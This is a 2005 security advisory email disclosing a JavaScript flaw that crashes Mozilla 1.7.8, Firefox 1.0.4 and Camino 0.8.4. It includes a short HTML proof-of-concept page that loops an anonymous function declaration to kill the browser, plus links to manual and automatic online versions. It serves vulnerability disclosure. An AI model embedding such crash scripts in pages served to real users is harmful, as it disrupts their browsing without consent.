Date: Wed, 29 Jun 2005 15:23:56 -0400
From: Kurczaba Associates Advisories <advisories@kurczaba.com.>
To: [email protected]Subject: Mozilla Multiple Product JavaScript Issue
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X-Virus-Scanned: antivirus-gw at tyumen.ru
Mozilla Multiple Product JavaScript Issue
http://www.kurczaba.com/html/security/0506241.htm
Vendor:
Mozilla (http://www.mozilla.org)
Vulnerable Software:
Mozilla 1.7.8
Firefox 1.0.4
Camino 0.8.4
Vulnerability/Exploit:
By using a specially crafted JavaScript function, it is possible to
crash the above named browsers. The script can be executed both with and
without user intervention.
Proof of Concept:
-----START of PoC-----
<html>
<head>
</head>
<body>
<script language="JavaScript">
//Run the function 20000 times
for (a = 0; a <= 20000; a++)
{
//Here is the special code that terminates the browser
function(){};
}
//Displays an alert to notify the user if the browser is not vulnerable.
alert("Good news - Your browser is not vulnerable.");
</script>
</body>
</html>
-----END of PoC-----
Proof of Concept (Online):
Manual: http://www.kurczaba.com/html/security/0506241_poc.htm
Automatic: http://www.kurczaba.com/html/security/0506241_poc2.htm
Workaround:
Disable JavaScript
Date Discovered:
June 14, 2005
Severity:
Low
Credit:
Paul Kurczaba
